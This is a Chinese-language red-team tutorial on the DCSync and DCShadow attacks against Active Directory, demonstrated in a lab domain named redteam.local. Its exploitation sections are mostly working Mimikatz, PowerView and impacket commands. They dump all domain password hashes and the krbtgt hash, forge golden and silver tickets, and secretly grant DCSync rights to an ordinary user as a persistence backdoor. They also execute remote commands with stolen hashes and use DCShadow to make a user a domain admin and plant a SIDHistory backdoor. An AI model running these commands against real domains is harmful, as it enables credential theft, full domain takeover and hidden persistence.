DCSync&DCshadow原理与应用
DCSync
原理
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。
2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。
前置
获得以下任意权限
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限。
利用
简单利用
#只获取单个用户hash
lsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证
lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hash
lsadump::dcsync /domain:redteam.local /all /csv
进阶利用
生成黄金票据
导出krbtgt账户hash
lsadump::dcsync /domain:redteam.local /user:krbtgt
之后在win2008机器注入黄金票据
kerberos::golden /user:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ptt
成功与域控建立连接
域内权限维持
如前文所述,我们如果让普通域用户获得了访问控制条目即可拥有DCSync权限,那么就相当于让普通域用户有了隐藏的域管权限
这里我们使用powerview来实现,给普通域用户DB添加
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity DB -Rights DCSync -Verbose
之后用DB用户测试
成功使用DCSync dumphash
之后输入
Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity whoami -Rights DCSync -Verbose
即可删除权限
查找具有 DCSync权限的用户
我们可以使用ADFind
AdFind.exe -s subtree -b "DC=redteam,DC=local" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
之后我们删除再次重新寻找,发现DB账户的权限成功删除
使用MachineAccount实现DCSync
MachineAccount是每台计算机在安装系统后默认生成的计算机帐户
如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中
计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令
计算机帐户的密码存储在注册表中的位置为:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC
# 该注册表键路径只能在 SYSTEM 权限下访问
利用
因为白银票据注入是需要MachineAccount账户的hash的,所以下一步我们使用白银票据测试
先测试下删除DCSync权限的情况
嗯,没有权限
之后我们注入白银票据(这里的服务可以注入ldap服务,注入机器hash为DC)
kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:LDAP /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:krbtgt /ptt
成功利用白银票据dumphash
同时黄金票据也测试成功
扩展
更多的我们可以impacket包的secretsdump来远程利用
1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied
也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (winserver2016已经不能用机器账户进行认证登陆)
python smbexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
也可以用powershell脚本https://gist.github.com/monoxgas/9d238accd969550136db
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能
导出域内administrator帐户的hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
导出域内所有用户的hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize
DCshadow
原理
Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。
步骤
1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。
从原理中我们可以认识到两点:
1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等
2、除了dc之间的连接通信,默认情况下不会记录事件日志
前置
域控新创一个测试域普通用户lh
起一个system的进程
!+
!processtoken
token::whoami
新起一个域管cmd窗口
攻击
system执行,更改描述符
lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:description /value:"test successfully"
之后域管执行push
lsadump::dcshadow /push
推送刷新成功,在域控查看发现打成功了
添加域管
查看本地域管
lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:primarygroupid /value:512
发送我们的payload并且推送
再次查看域管
前后对比
添加sid history后门
查看当前域管的sid
lsadump::dcshadow /object:CN=DB,CN=Users,DC=redteam,DC=local /attribute:sidhistory /value:S-1-5-21-3458133008-801623762-2841880732-500
发送我们的payload
之后重启用户
连接域控成功
参考
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
https://www.anquanke.com/post/id/146551
有任何意见请评价。